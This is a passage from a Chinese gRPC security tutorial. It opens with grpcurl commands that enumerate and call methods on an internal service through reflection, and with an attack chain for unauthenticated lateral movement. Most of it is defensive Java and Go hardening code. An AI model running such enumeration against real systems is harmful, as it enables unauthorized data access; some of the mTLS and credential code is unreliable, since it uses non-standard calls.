for svc in $(grpcurl -plaintext 10.0.0.5:9090 list); do
for m in $(grpcurl -plaintext 10.0.0.5:9090 list $svc); do
echo "=== $m ==="
grpcurl -plaintext -d '{}' 10.0.0.5:9090 $m 2>&1 | head -5
done
done
# ===== ⑦ 反射关了也能试:用本地 .proto 直接调 =====
# 如果攻击者拿到了 .proto(代码泄露、前端、GitHub),反射关了也没用
grpcurl -plaintext -import-path ./proto -proto user.proto \
-d '{"user_id":"1"}' 10.0.0.5:9090 com.example.user.UserService/GetUser
★ 危害链条(和 GraphQL 内省一模一样):
反射开启
↓
攻击者拿到所有服务/方法/消息结构
↓
发现 DeleteUser、UpdateRole、Refund 等危险方法
↓
发现 password_hash、internal_score 等敏感字段
↓
(如果还没有认证)直接调用 → 拖库 / 删数据 / 提权
特殊之处 3:默认没有认证(★ 最常见的致命问题)
gRPC 框架本身【不提供任何认证机制】。 官方文档明确说:“gRPC 支持多种认证机制,但不强制使用任何一种”。
后果:90% 的内网 gRPC 服务是裸奔的。
原因也很好理解:开发者的心理是“这是内网服务,前面有网关挡着,不需要认证”。 而这个心理,正是第二章讲的 API2 认证失效 里“微服务间隐式信任”的翻版。
★ 最危险的组合(这是内网被攻破后能横向移动的根本原因):
边界被突破(比如 SSRF、反序列化 RCE、员工电脑中毒)
↓
攻击者进入内网
↓
发现 10.0.0.5:9090 是个 gRPC 服务,【无认证】
↓
grpcurl list → 拿到所有方法
↓
grpcurl 调用 DeleteUser / Refund / Transfer / ExportAllData
↓
★ 而且因为 WAF/网关都是透明的、日志里是二进制,几乎【无法被发现】
特殊之处 4:HTTP/2 特有攻击面
| 攻击 | 原理 | 防护 |
|---|---|---|
| HPACK 炸弹(CVE-2019-9511) | HTTP/2 头部压缩(HPACK)可以被构造成“1KB 的请求解压成 1GB” | 限制头部大小、及时打补丁 |
| 流控绕过(CVE-2019-9512/9514) | 恶意操纵 WINDOW_UPDATE 帧,让服务端内存耗尽 | gRPC 版本升级 |
| 多路复用 DoS | 一条 TCP 连接上开 10 万个流 | 限制 MAX_CONCURRENT_STREAMS |
| 0-RTT 重放(HTTP/3) | 早期数据可被重放 | 禁用 0-RTT 或只用于幂等操作 |
关键配置:
/**
* ✅ HTTP/2 安全相关配置(gRPC Java)
*/
@Configuration
public class GrpcHttp2SecurityConfig {
@Bean
public ServerBuilder<?> grpcServerBuilder() {
return NettyServerBuilder.forPort(9090)
// ① ★ 最大并发流数(防多路复用 DoS)
.maxConcurrentCallsPerConnection(100)
// ② ★ 最大消息大小(默认 4MB,改小一点)
.maxInboundMessageSize(1024 * 1024) // 1MB
// ③ ★ 头部大小限制(防 HPACK 炸弹)
.maxInboundMetadataSize(8 * 1024) // 8KB
// ④ ★ 连接空闲超时(防僵尸连接)
.keepAliveTime(30, TimeUnit.SECONDS)
.keepAliveTimeout(10, TimeUnit.SECONDS)
// ⑤ ★ 允许的最小 ping 间隔(防 ping 洪水)
.permitKeepAliveTime(10, TimeUnit.SECONDS)
.permitKeepAliveWithoutCalls(false)
// ⑥ ★ 流控窗口(防流量操纵)
.flowControlWindow(1024 * 1024) // 1MB
// ⑦ ★ 连接数限制
.maxConnectionAge(30, TimeUnit.MINUTES)
.maxConnectionAgeGrace(10, TimeUnit.SECONDS);
}
}
特殊之处 5:流式接口的放大风险
gRPC 支持 stream(流式):一次调用可以返回无限条数据。 这相当于 REST 里的“不分页”,而且没有任何默认限制。
service UserService {
// ★ 服务端流式:一次请求,返回流
rpc ListUsers(ListUsersRequest) returns (stream User);
// ★ 双向流式:两边都可以一直发
rpc Chat(stream ChatMessage) returns (stream ChatMessage);
}
/**
* ❌ 危险:流式接口没有数量限制
*/
@Override
public void listUsers(ListUsersRequest request,
StreamObserver<User> responseObserver) {
// ❌ 全表查询 + 流式返回,1000 万用户全部推给客户端
// → 内存、网络、数据库连接全部打满
userRepository.findAll().forEach(responseObserver::onNext);
responseObserver.onCompleted();
}
/**
* ✅ 修复:流式接口必须分页 + 计数上限 + 超时
*/
@Override
public void listUsers(ListUsersRequest request,
StreamObserver<User> responseObserver) {
// ① 分页夹紧
int pageSize = Math.min(request.getPageSize() > 0 ? request.getPageSize() : 100, 500);
int maxRecords = Math.min(request.getMaxRecords() > 0 ? request.getMaxRecords() : 5000, 10000);
// ② 计数 + 超限中断
AtomicInteger sent = new AtomicInteger(0);
AtomicBoolean aborted = new AtomicBoolean(false);
// ③ 用可分页的查询(不要 findAll 再内存过滤)
Pageable pageable = PageRequest.of(0, pageSize);
Page<User> page;
do {
page = userRepository.findAll(pageable);
for (User u : page.getContent()) {
if (sent.incrementAndGet() > maxRecords) {
log.warn("[安全] 流式接口返回条数超限,中断 sent={}", sent.get());
aborted.set(true);
break;
}
responseObserver.onNext(toProto(u));
}
pageable = pageable.next();
} while (page.hasNext() && !aborted.get());
// ④ 超时保护
if (aborted.get()) {
responseObserver.onError(Status.RESOURCE_EXHAUSTED
.withDescription("返回条数超过上限 " + maxRecords)
.asRuntimeException());
return;
}
responseObserver.onCompleted();
}
3.9.3 gRPC 七大攻击面 + 完整加固方案
攻击面 1️⃣:反射服务泄露 → 关闭反射
/**
* ✅ 生产环境关闭 gRPC 反射
*/
@Configuration
@Slf4j
public class GrpcReflectionConfig {
@Value("${grpc.reflection.enabled:false}")
private boolean reflectionEnabled;
@Bean
public GrpcServerConfigurer reflectionConfigurer() {
return serverBuilder -> {
if (reflectionEnabled) {
// ★ 只在开发/测试环境开启
// ProtoReflectionService 是 grpc-services 包提供的
serverBuilder.addService(ProtoReflectionService.newInstance());
log.warn("[安全] gRPC 反射已【开启】,生产环境必须关闭!");
} else {
log.info("[安全] gRPC 反射已关闭");
}
};
}
}
如果是 Go 实现:
// ✅ 生产环境关闭反射
func main() {
s := grpc.NewServer(...)
pb.RegisterUserServiceServer(s, &server{})
// ★ 只在非生产环境注册反射
if os.Getenv("ENV") != "production" {
reflection.Register(s)
log.Println("[开发] gRPC 反射已开启")
} else {
log.Println("[安全] 生产环境,gRPC 反射已关闭")
}
s.Serve(lis)
}
★ 如果开发环境必须开,用白名单限制:
/**
* ✅ 折中方案:反射开启,但用拦截器限制来源 IP
*/
public class ReflectionWhitelistInterceptor implements ServerInterceptor {
private static final Set<String> ALLOWED_IPS = Set.of(
"127.0.0.1", "10.0.1.100" // 开发机 IP
);
@Override
public <ReqT, RespT> ServerCall.Listener<ReqT> interceptCall(
ServerCall<ReqT, RespT> call,
Metadata headers,
ServerCallHandler<ReqT, RespT> next) {
String method = call.getMethodDescriptor().getFullMethodName();
// ★ 只对反射服务做限制
if (method.startsWith("grpc.reflection.")) {
String clientIp = getClientIp(call);
if (!ALLOWED_IPS.contains(clientIp)) {
log.warn("[安全] 拒绝非白名单 IP 访问 gRPC 反射 ip={}", clientIp);
call.close(Status.PERMISSION_DENIED
.withDescription("反射服务不对外开放"), new Metadata());
return new ServerCall.Listener<>() {};
}
}
return next.startCall(call, headers);
}
private String getClientIp(ServerCall<?, ?> call) {
// 从 Attributes 里取远端地址
SocketAddress addr = call.getAttributes()
.get(Grpc.TRANSPORT_ATTR_REMOTE_ADDR);
if (addr instanceof InetSocketAddress inet) {
return inet.getAddress().getHostAddress();
}
return "unknown";
}
}
攻击面 2️⃣:无认证 → mTLS + Token 双保险
✅ mTLS(双向 TLS)—— gRPC 的推荐认证方式
先理解 mTLS 和普通 TLS 的区别(★ 面试必考):
| 类型 | 谁验证谁 | 场景 | 解决了什么 |
|---|---|---|---|
| 单向 TLS(普通 HTTPS) | 客户端验证服务端 | 浏览器访问网站 | 防中间人、防钓鱼 |
| mTLS(双向 TLS) | 双方互相验证 | 服务间通信 | 服务身份认证(知道“对方是谁”) |
生活类比(★ 记住这个):
单向 TLS:你去银行,银行出示营业执照,你确认“这确实是工商银行” → 你敢存钱。 (你验证了银行,但银行不知道你是谁)
mTLS:你去银行,银行出示执照;你也要出示身份证,银行确认“这确实是张三本人” → 才给你办业务。 (双方互相验证身份)
在微服务里,每个服务都要有“身份证”, 这个身份证就是 X.509 证书,发身份证的机构就是 CA(证书颁发机构)。
gRPC Java 的 mTLS 配置:
/**
* ✅✅✅ gRPC mTLS 服务端配置
*
* ★ mTLS 在 gRPC 里几乎就是标配,因为:
* ① gRPC 主要用于服务间通信,没有浏览器那种 Cookie/Session 机制
* ② 二进制协议,没法在 body 里塞 token(虽然可以放 metadata,但 mTLS 更透明)
* ③ 服务网格(Istio/Linkerd)原生支持 mTLS,业务代码零侵入
*/
@Configuration
@Slf4j
public class GrpcMtlsServerConfig {
@Value("${grpc.tls.cert-chain:classpath:certs/server.pem}")
private Resource certChain; // 服务端证书(含公钥)
@Value("${grpc.tls.private-key:classpath:certs/server.key}")
private Resource privateKey; // 服务端私钥
@Value("${grpc.tls.trust-cert-collection:classpath:certs/ca.pem}")
private Resource trustCerts; // ★ 信任的 CA 证书(用来验证客户端证书)
@Bean
public ServerBuilder<?> grpcServerBuilder() throws IOException {
// ① 加载证书链和私钥
X509CertificateChain certChainFile = new X509CertificateChain(certChain);
PrivateKey keyFile = loadPrivateKey(privateKey);
// ② ★ 加载信任的 CA(用于验证客户端证书)
List<X509Certificate> trustedCAs = loadCertificates(trustCerts);
X509TrustManager trustManager = new RootCaTrustManager(trustedCAs);
// ③ 构建 SSL Context
SslContextBuilder sslBuilder = GrpcSslContexts.forServer(
new File(certChainFile.getPath()),
new File(keyFile.getPath()))
// ★ 关键:要求客户端提供证书
.clientAuth(ClientAuth.REQUIRE) // ← 这一行开启 mTLS
.trustManager(trustedCAs.toArray(new X509Certificate[0]))
// ★ 协议限制:只允许 TLS 1.3(1.2 也可以,1.0/1.1 禁用)
.protocols("TLSv1.3", "TLSv1.2")
// ★ 密码套件限制:只用 AEAD 类(防 BEAST/Lucky13 等攻击)
.ciphers(Arrays.asList(
"TLS_AES_128_GCM_SHA256",
"TLS_AES_256_GCM_SHA384",
"TLS_CHACHA20_POLY1305_SHA256",
"ECDHE-RSA-AES128-GCM-SHA256",
"ECDHE-RSA-AES256-GCM-SHA384"))
// ★ 会话缓存(性能)
.sessionCacheSize(1024)
.sessionTimeout(3600);
return NettyServerBuilder.forPort(9090)
.sslContext(sslBuilder.build())
.maxInboundMessageSize(1024 * 1024)
.maxConcurrentCallsPerConnection(100)
.intercept(new MtlsIdentityInterceptor()) // ★ 从证书里提取身份
.intercept(new AuthorizationInterceptor()); // ★ 授权
}
/**
* 从客户端证书里提取身份(服务名 / SPIFFE ID)
*/
static class MtlsIdentityInterceptor implements ServerInterceptor {
@Override
public <ReqT, RespT> ServerCall.Listener<ReqT> interceptCall(
ServerCall<ReqT, RespT> call,
Metadata headers,
ServerCallHandler<ReqT, RespT> next) {
// ★ 从 SSL Session 里取客户端证书
SSLSession sslSession = call.getAttributes()
.get(Grpc.TRANSPORT_ATTR_SSL_SESSION);
if (sslSession == null) {
log.error("[安全] gRPC 调用没有 TLS 会话,拒绝(mTLS 未生效?)");
call.close(Status.UNAUTHENTICATED
.withDescription("需要 TLS 连接"), new Metadata());
return new ServerCall.Listener<>() {};
}
try {
// ★ 取对端证书链
X509Certificate[] peerCerts =
(X509Certificate[]) sslSession.getPeerCertificates();
if (peerCerts == null || peerCerts.length == 0) {
log.error("[安全] 客户端未提供证书,拒绝");
call.close(Status.UNAUTHENTICATED
.withDescription("需要客户端证书"), new Metadata());
return new ServerCall.Listener<>() {};
}
X509Certificate clientCert = peerCerts[0];
// ★ 提取身份:
// 方式 1:从 CN(Common Name)里取(传统做法)
String cn = extractCN(clientCert.getSubjectX500Principal().getName());
// 方式 2(★ 推荐):从 SAN(Subject Alternative Name)里的
// SPIFFE ID 取(零信任标准做法)
String spiffeId = extractSpiffeId(clientCert);
// ★ 校验证书是否过期
clientCert.checkValidity();
// ★ 把身份放到 Context 里,后续拦截器/业务代码都能取到
Context ctx = Context.current()
.withValue(PEER_IDENTITY_KEY, new PeerIdentity(cn, spiffeId));
log.debug("[安全] gRPC 客户端身份 cn={} spiffeId={}", cn, spiffeId);
return Contexts.interceptCall(ctx, call, headers, next);
} catch (SSLPeerUnverifiedException e) {
log.error("[安全] 客户端证书验证失败:{}", e.getMessage());
call.close(Status.UNAUTHENTICATED
.withDescription("客户端证书验证失败"), new Metadata());
return new ServerCall.Listener<>() {};
} catch (CertificateExpiredException e) {
log.error("[安全] 客户端证书已过期");
call.close(Status.UNAUTHENTICATED
.withDescription("客户端证书已过期"), new Metadata());
return new ServerCall.Listener<>() {};
}
}
public static final Context.Key<PeerIdentity> PEER_IDENTITY_KEY =
Context.key("peerIdentity");
/** 从 DN 里提取 CN,如 "CN=order-service,OU=backend,O=corp" → "order-service" */
private String extractCN(String dn) {
for (String part : dn.split(",")) {
String trimmed = part.trim();
if (trimmed.startsWith("CN=")) {
return trimmed.substring(3);
}
}
return "unknown";
}
/**
* ★ 提取 SPIFFE ID
* SPIFFE ID 格式:spiffe://trust-domain/ns/namespace/sa/service-account
* 存放在证书的 SAN(Subject Alternative Name)的 URI 字段里
*/
private String extractSpiffeId(X509Certificate cert) {
try {
Collection<List<?>> sans = cert.getSubjectAlternativeNames();
if (sans == null) return null;
for (List<?> san : sans) {
Integer type = (Integer) san.get(0);
if (type == 6) { // 6 = URI 类型的 SAN
String uri = (String) san.get(1);
if (uri.startsWith("spiffe://")) {
return uri;
}
}
}
} catch (CertificateParsingException e) {
log.warn("解析 SAN 失败:{}", e.getMessage());
}
return null;
}
public record PeerIdentity(String commonName, String spiffeId) {}
}
}
客户端配置(也要带证书):
/**
* ✅ gRPC 客户端 mTLS 配置
*/
@Configuration
public class GrpcMtlsClientConfig {
@Bean
public ManagedChannel userGrpcChannel(
@Value("${grpc.client.user.host}") String host,
@Value("${grpc.client.user.port}") int port) throws SSLException {
SslContext sslContext = GrpcSslContexts.forClient()
// ★ 客户端也要提供自己的证书(否则服务端 REQUIRE 会拒绝)
.keyManager(new File("certs/client.pem"),
new File("certs/client.key"))
// ★ 信任服务端证书的 CA
.trustManager(new File("certs/ca.pem"))
.protocols("TLSv1.3", "TLSv1.2")
.build();
return NettyChannelBuilder.forAddress(host, port)
.sslContext(sslContext)
// ★ 关键:校验服务端证书的主机名(防中间人)
// 不要图省事用 overrideAuthority 跳过校验!
.build();
}
}
⚠️ 五个常见的 mTLS 配置错误(面试高频):
| 错误 | 后果 | 正确做法 |
|---|---|---|
.clientAuth(ClientAuth.NONE) |
客户端不用给证书 = 没有 mTLS | ClientAuth.REQUIRE |
.trustManager(InsecureTrustManagerFactory.INSTANCE) |
信任所有证书 = 中间人畅通无阻 | 用真实 CA 证书 |
客户端 .overrideAuthority() 乱设 |
跳过主机名校验 | 不设,或设为真实的服务名 |
| 证书【不过期】且【不轮换】 | 泄露了也吊销不掉 | 短期证书(SPIFFE 默认 1 小时)+ 自动轮换 |
| 用同一个证书给所有服务 | 一个泄露全崩 | 每个服务实例独立身份 |
✅ Token 认证(gRPC Call Credentials)
mTLS 解决“服务对服务“的身份,但解决不了”这个请求是哪个用户发起的“。 所以还需要 Token(通常是 JWT)在 metadata 里传递。
/**
* ✅ gRPC Token 认证拦截器(服务端)
*/
@Component
@Slf4j
public class GrpcAuthInterceptor implements ServerInterceptor {
private static final Metadata.Key<String> AUTHORIZATION_KEY =
Metadata.Key.of("authorization", Metadata.ASCII_STRING_MARSHALLER);
/** ★ 不需要认证的方法白名单(健康检查、反射等)*/
private static final Set<String> PUBLIC_METHODS = Set.of(
"grpc.health.v1.Health/Check",
"grpc.health.v1.Health/Watch"
);
@Autowired
private JwtService jwtService;
@Override
public <ReqT, RespT> ServerCall.Listener<ReqT> interceptCall(
ServerCall<ReqT, RespT> call,
Metadata headers,
ServerCallHandler<ReqT, RespT> next) {
String method = call.getMethodDescriptor().getFullMethodName();
// ① 公开方法放行
if (PUBLIC_METHODS.contains(method)) {
return next.startCall(call, headers);
}
// ② ★ 先检查 mTLS 身份(服务身份)
PeerIdentity peer = MtlsIdentityInterceptor.PEER_IDENTITY_KEY.get();
if (peer == null) {
log.error("[安全] gRPC 调用缺少服务身份 method={}", method);
call.close(Status.UNAUTHENTICATED
.withDescription("缺少客户端证书"), new Metadata());
return new ServerCall.Listener<>() {};
}
// ③ 取 JWT(用户身份)
String authHeader = headers.get(AUTHORIZATION_KEY);
if (authHeader == null || !authHeader.startsWith("Bearer ")) {
log.warn("[安全] gRPC 调用缺少 Token method={} peer={}",
method, peer.commonName());
call.close(Status.UNAUTHENTICATED
.withDescription("缺少认证 Token"), new Metadata());
return new ServerCall.Listener<>() {};
}
// ④ 校验 JWT
JwtClaims claims;
try {
claims = jwtService.parse(authHeader.substring(7));
} catch (ExpiredJwtException e) {
call.close(Status.UNAUTHENTICATED
.withDescription("Token 已过期"), new Metadata());
return new ServerCall.Listener<>() {};
} catch (Exception e) {
log.warn("[安全] gRPC Token 无效 method={} error={}",
method, e.getMessage());
call.close(Status.UNAUTHENTICATED
.withDescription("Token 无效"), new Metadata());
return new ServerCall.Listener<>() {};
}
// ⑤ ★ 关键:服务间调用时,JWT 的 audience 必须匹配
// 防止"给 A 服务的 token 拿去调 B 服务"
if (!claims.getAudience().contains(peer.commonName())) {
log.error("[安全] Token audience 不匹配 peer={} aud={}",
peer.commonName(), claims.getAudience());
call.close(Status.PERMISSION_DENIED
.withDescription("Token 不适用于该服务"), new Metadata());
return new ServerCall.Listener<>() {};
}
// ⑥ 把用户信息放进 Context
Context ctx = Context.current()
.withValue(USER_CONTEXT_KEY, new UserContext(
claims.getUserId(), claims.getRoles(), claims.getTenantId()));
return Contexts.interceptCall(ctx, call, headers, next);
}
public static final Context.Key<UserContext> USER_CONTEXT_KEY =
Context.key("userContext");
public record UserContext(String userId, List<String> roles, String tenantId) {}
}
/**
* ✅ 客户端传递 Token(CallCredentials)
*/
public class BearerTokenCredential extends CallCredentials {
private final Supplier<String> tokenSupplier;
public BearerTokenCredential(Supplier<String> tokenSupplier) {
this.tokenSupplier = tokenSupplier;
}
@Override
public void applyRequestMetadata(RequestInfo requestInfo,
Executor appExecutor,
MetadataApplier applier) {
appExecutor.execute(() -> {
try {
Metadata headers = new Metadata();
headers.put(
Metadata.Key.of("authorization",
Metadata.ASCII_STRING_MARSHALLER),
"Bearer " + tokenSupplier.get());
applier.apply(headers);
} catch (Throwable e) {
applier.fail(Status.UNAUTHENTICATED.withCause(e));
}
});
}
/**
* ★ 这个方法决定:这个 Credential 能用在哪些 channel 上
* 错误实现会泄露 token 给其他服务!
*/
@Override
public void thisUsesUnstableApi() {
// no-op
}
}
/**
* 使用:在网关里把 HTTP 的 JWT 透传给下游 gRPC
*/
@Service
public class UserGrpcClient {
private final UserServiceGrpc.UserServiceBlockingStub stub;
public UserGrpcClient(ManagedChannel channel) {
this.stub = UserServiceGrpc.newBlockingStub(channel);
}
public User getUser(String userId, String userToken, String tenantId) {
return stub
.withCallCredentials(new BearerTokenCredential(() -> userToken))
// ★ 同时传租户信息
.withMetadata(buildTenantMetadata(tenantId))
.withDeadlineAfter(3, TimeUnit.SECONDS) // ★ 超时
.getUser(GetUserRequest.newBuilder()
.setUserId(userId)
.build());
}
private Metadata buildTenantMetadata(String tenantId) {
Metadata md = new Metadata();
md.put(Metadata.Key.of("x-tenant-id", Metadata.ASCII_STRING_MARSHALLER), tenantId);
return md;
}
}
攻击面 3️⃣:授权缺失(BOLA / BFLA) → 方法级 + 数据级授权
★ 关键认知: mTLS + Token 只解决了“你是谁“(认证), 还没解决”你能不能做这件事“(授权)。 gRPC 里 BOLA 一样存在 ——
GetUser(user_id="别人的ID")。
/**
* ✅✅✅ gRPC 授权拦截器(方法级)
*/
@Component
@Slf4j
public class GrpcAuthorizationInterceptor implements ServerInterceptor {
/**
* ★ 方法 → 所需权限的映射表
* ★ 默认拒绝:不在表里的方法,一律拒绝
*/
private static final Map<String, String> METHOD_PERMISSIONS = Map.of(
"com.example.user.UserService/GetUser", "user:read",
"com.example.user.UserService/ListUsers", "user:list",
"com.example.user.UserService/UpdateUser", "user:write",
"com.example.user.UserService/DeleteUser", "user:delete",
"com.example.order.OrderService/Refund", "order:refund",
"com.example.payment.PaymentService/Transfer","payment:transfer"
);
/** ★ 服务 → 所需角色(更粗粒度,配合权限表用)*/
private static final Map<String, String> SERVICE_ROLES = Map.of(
"com.example.payment.PaymentService", "FINANCE",
"com.example.admin.AdminService", "ADMIN"
);
@Override
public <ReqT, RespT> ServerCall.Listener<ReqT> interceptCall(
ServerCall<ReqT, RespT> call,
Metadata headers,
ServerCallHandler<ReqT, RespT> next) {
String fullMethod = call.getMethodDescriptor().getFullMethodName();
String service = fullMethod.substring(0, fullMethod.lastIndexOf('/'));
UserContext user = GrpcAuthInterceptor.USER_CONTEXT_KEY.get();
PeerIdentity peer = MtlsIdentityInterceptor.PEER_IDENTITY_KEY.get();
// ===== ① 内部服务调用(无用户上下文):校验服务级权限 =====
if (user == null) {
if (peer == null) {
call.close(Status.UNAUTHENTICATED
.withDescription("缺少身份信息"), new Metadata());
return new ServerCall.Listener<>() {};
}
// ★ 服务到服务的调用,校验调用方服务是否被允许
if (!isServiceAllowed(peer, service)) {
log.error("[安全] 服务间调用未授权 caller={} target={}",
peer.commonName(), service);
call.close(Status.PERMISSION_DENIED
.withDescription("服务 " + peer.commonName()
+ " 无权调用 " + service), new Metadata());
return new ServerCall.Listener<>() {};
}
log.debug("[安全] 服务间调用放行 caller={} target={}",
peer.commonName(), fullMethod);
return next.startCall(call, headers);
}
// ===== ② 用户调用:校验方法级权限 =====
String requiredPermission = METHOD_PERMISSIONS.get(fullMethod);
if (requiredPermission == null) {
// ★★ 默认拒绝:方法不在映射表里 = 未配置 = 拒绝
log.error("[安全] gRPC 方法未配置权限,默认拒绝 method={}(请补充权限配置)",
fullMethod);
call.close(Status.PERMISSION_DENIED
.withDescription("该方法未配置访问权限"), new Metadata());
return new ServerCall.Listener<>() {};
}
if (!user.roles().stream().anyMatch(r -> hasPermission(r, requiredPermission))) {
log.warn("[安全] gRPC 权限不足 userId={} method={} required={} roles={}",
user.userId(), fullMethod, requiredPermission, user.roles());
call.close(Status.PERMISSION_DENIED
.withDescription("权限不足,需要 " + requiredPermission), new Metadata());
return new ServerCall.Listener<>() {};
}
return next.startCall(call, headers);
}
/** 服务级调用白名单(★ 服务网格里应该由 AuthorizationPolicy 管,这里是应用层兜底)*/
private boolean isServiceAllowed(PeerIdentity peer, String targetService) {
// 从配置中心读取,这里简化为硬编码示例
Map<String, Set<String>> ALLOWED_CALLS = Map.of(
"order-service", Set.of("com.example.user.UserService",
"com.example.payment.PaymentService"),
"user-service", Set.of("com.example.notification.NotificationService"),
"api-gateway", Set.of("com.example.user.UserService",
"com.example.order.OrderService",
"com.example.payment.PaymentService")
);
return ALLOWED_CALLS
.getOrDefault(peer.commonName(), Set.of())
.contains(targetService);
}
private boolean hasPermission(String role, String permission) {
// RBAC 权限表(实际项目从数据库/配置中心读)
Map<String, Set<String>> ROLE_PERMISSIONS = Map.of(
"ADMIN", Set.of("user:read","user:list","user:write","user:delete",
"order:refund","payment:transfer"),
"OPERATOR",Set.of("user:read","user:list","order:refund"),
"USER", Set.of("user:read")
);
return ROLE_PERMISSIONS.getOrDefault(role, Set.of()).contains(permission);
}
}
★ 数据级授权(BOLA 防护)—— gRPC 里的越权
/**
* ✅ gRPC 的数据级授权(★ 防 BOLA,和 REST 一模一样的道理)
*/
@GrpcService
@Slf4j
public class UserGrpcService extends UserServiceGrpc.UserServiceImplBase {
@Autowired
private UserRepository userRepository;
@Override
public void getUser(GetUserRequest request,
StreamObserver<User> responseObserver) {
UserContext ctx = GrpcAuthInterceptor.USER_CONTEXT_KEY.get();
// ❌ 错误写法:直接按 ID 查,不校验归属
// User u = userRepository.findById(request.getUserId());
// ✅ 正确写法 1:SQL 里带租户 + 归属条件(★ 推荐)
User u = userRepository.findByIdAndTenantId(
request.getUserId(), ctx.tenantId());
if (u == null) {
// ★ 返回 NOT_FOUND 而不是 PERMISSION_DENIED(防存在性泄露)
responseObserver.onError(Status.NOT_FOUND
.withDescription("用户不存在").asRuntimeException());
return;
}
// ✅ 正确写法 2:非管理员只能查自己
if (!ctx.roles().contains("ADMIN")
&& !u.getId().equals(ctx.userId())) {
log.warn("[安全] gRPC 越权访问 userId={} target={}",
ctx.userId(), request.getUserId());
responseObserver.onError(Status.NOT_FOUND // ★ 404 不是 403
.withDescription("用户不存在").asRuntimeException());
return;
}
// ✅ 返回时脱敏(★ 用独立的响应消息,不要直接返回实体)
responseObserver.onNext(toSafeProto(u));
responseObserver.onCompleted();
}
/**
* ★ 关键:用【独立的响应消息类型】,绝不包含 password_hash
*
* 反例:.proto 里 User 消息包含 password_hash,然后靠代码"不设置"它
* → 忘了就泄露,而且反射一看就知道有这个字段
*
* 正例:.proto 里定义两个消息:
* message UserInternal { ... password_hash = 5; } ← 内部服务用
* message UserPublic { ... 无 password_hash } ← 对外用
*/
private UserProto.User toSafeProto(User u) {
return UserProto.User.newBuilder()
.setId(u.getId())
.setName(u.getName())
.setEmail(DesensitizeUtil.email(u.getEmail()))
.setPhone(DesensitizeUtil.mobile(u.getPhone()))
// ★ password_hash 根本不在这个消息类型里
.build();
}
}
.proto 的最佳实践(内外消息分离):
// ✅✅✅ 推荐:内部消息和对外消息分开定义
syntax = "proto3";
package com.example.user;
service UserService {
rpc GetUser(GetUserRequest) returns (UserPublic); // ★ 对外返回 Public
rpc GetUserInternal(GetUserRequest) returns (UserInternal); // 内部方法,名字带 Internal
rpc DeleteUser(DeleteUserRequest) returns (google.protobuf.Empty);
}
// ✅ 对外消息:不含敏感字段
message UserPublic {
string id = 1;
string name = 2;
string email = 3; // 业务层会脱敏
string phone = 4; // 业务层会脱敏
int64 created_at = 5;
}
// ⚠️ 内部消息:含敏感字段,只在内部服务间使用
message UserInternal {
string id = 1;
string name = 2;
string email = 3;
string phone = 4;
string password_hash = 5;
int32 role = 6;
int32 risk_score = 7;
string internal_notes = 8;
}
// ❌ 反例:一个消息全包,靠代码"不设置"敏感字段
// message User {
// string password_hash = 5; ← 反射一查就知道有这个字段,迟早泄露
// }
攻击面 4️⃣:消息大小 / 并发 DoS → 硬限制
/**
* ✅ gRPC 资源限制(★ 必做,gRPC 默认值太宽松)
*/
@Configuration
public class GrpcResourceLimitConfig {
@Bean
public ServerBuilder<?> serverBuilder() {
return NettyServerBuilder.forPort(9090)
// ① ★ 入站消息大小(默认 4MB → 改小)
// gRPC 默认 4MB,一个大消息就能吃 4MB 内存
.maxInboundMessageSize(1024 * 1024) // 1MB
// ② ★ 元数据(header)大小(默认 8KB,防 HPACK 炸弹)
.maxInboundMetadataSize(8 * 1024)
// ③ ★ 每连接最大并发调用(防多路复用 DoS)
.maxConcurrentCallsPerConnection(100)
// ④ ★ 流控窗口(默认 64KB,太小会影响吞吐,一般调到 1MB)
.flowControlWindow(1024 * 1024)
// ⑤ ★ 连接生命周期(强制重连,防连接长期占用)
.maxConnectionAge(30, TimeUnit.MINUTES)
.maxConnectionAgeGrace(10, TimeUnit.SECONDS)
// ⑥ ★ 空闲超时
.maxConnectionIdle(5, TimeUnit.MINUTES)
// ⑦ ★ KeepAlive 配置(防 ping 洪水)
.keepAliveTime(30, TimeUnit.SECONDS) // 服务端 ping 间隔
.keepAliveTimeout(10, TimeUnit.SECONDS) // 等多久没响应就断
.permitKeepAliveTime(10, TimeUnit.SECONDS) // 客户端最少多久才能 ping 一次
.permitKeepAliveWithoutCalls(false); // 没有活跃调用时不允许 ping
}
}
客户端也要限制(防止服务端返回超大消息):
ManagedChannel channel = NettyChannelBuilder.forAddress(host, port)
// ★ 出站消息大小(防止本地构造超大消息)
.maxOutboundMessageSize(1024 * 1024)
// ★ ★ 入站消息大小(★ 防止恶意服务端返回超大消息打爆客户端 —— 常被忽略!)
.maxInboundMessageSize(2 * 1024 * 1024)
.build();
攻击面 5️⃣:错误信息泄露 → 统一错误处理
/**
* ✅ gRPC 统一错误处理(★ 生产环境绝不返回堆栈)
*/
@Component
@Slf4j
public class GrpcExceptionInterceptor implements ServerInterceptor {
@Value("${spring.profiles.active:dev}")
private String profile;
@Override
public <ReqT, RespT> ServerCall.Listener<ReqT> interceptCall(
ServerCall<ReqT, RespT> call,
Metadata headers,
ServerCallHandler<ReqT, RespT> next) {
ServerCall<ReqT, RespT> wrappedCall =
new ForwardingServerCall.SimpleForwardingServerCall<>(call) {
@Override
public void close(Status status, Metadata trailers) {
if (!status.isOk()) {
String traceId = MDC.get("traceId");
// ★ 详细日志记在服务端
log.error("[gRPC错误] method={} code={} traceId={}",
call.getMethodDescriptor().getFullMethodName(),
status.getCode(), traceId, status.getCause());
// ★ 客户端只拿到通用信息 + traceId
Status safeStatus = mapToSafeStatus(status, traceId);
Metadata safeTrailers = new Metadata();
safeTrailers.put(
Metadata.Key.of("x-trace-id",
Metadata.ASCII_STRING_MARSHALLER), traceId);
super.close(safeStatus, safeTrailers);
return;
}
super.close(status, trailers);
}
};
return next.startCall(wrappedCall, headers);
}
/**
* ★ 把内部错误映射成安全的 gRPC 状态码
*/
private Status mapToSafeStatus(Status original, String traceId) {
// 开发环境:保留详细信息
if (!"prod".equals(profile)) {
return original;
}
// 生产环境:按异常类型映射
Throwable cause = original.getCause();
String generic = "(traceId=" + traceId + ")";
if (cause instanceof DataNotFoundException) {
return Status.NOT_FOUND.withDescription("资源不存在" + generic);
}
if (cause instanceof AccessDeniedException) {
return Status.PERMISSION_DENIED.withDescription("权限不足" + generic);
}
if (cause instanceof IllegalArgumentException) {
return Status.INVALID_ARGUMENT.withDescription("参数错误" + generic);
}
if (cause instanceof TimeoutException) {
return Status.DEADLINE_EXCEEDED.withDescription("处理超时" + generic);
}
if (cause instanceof SQLException) {
// ★★ 数据库错误绝对不能透出去(会泄露表结构)
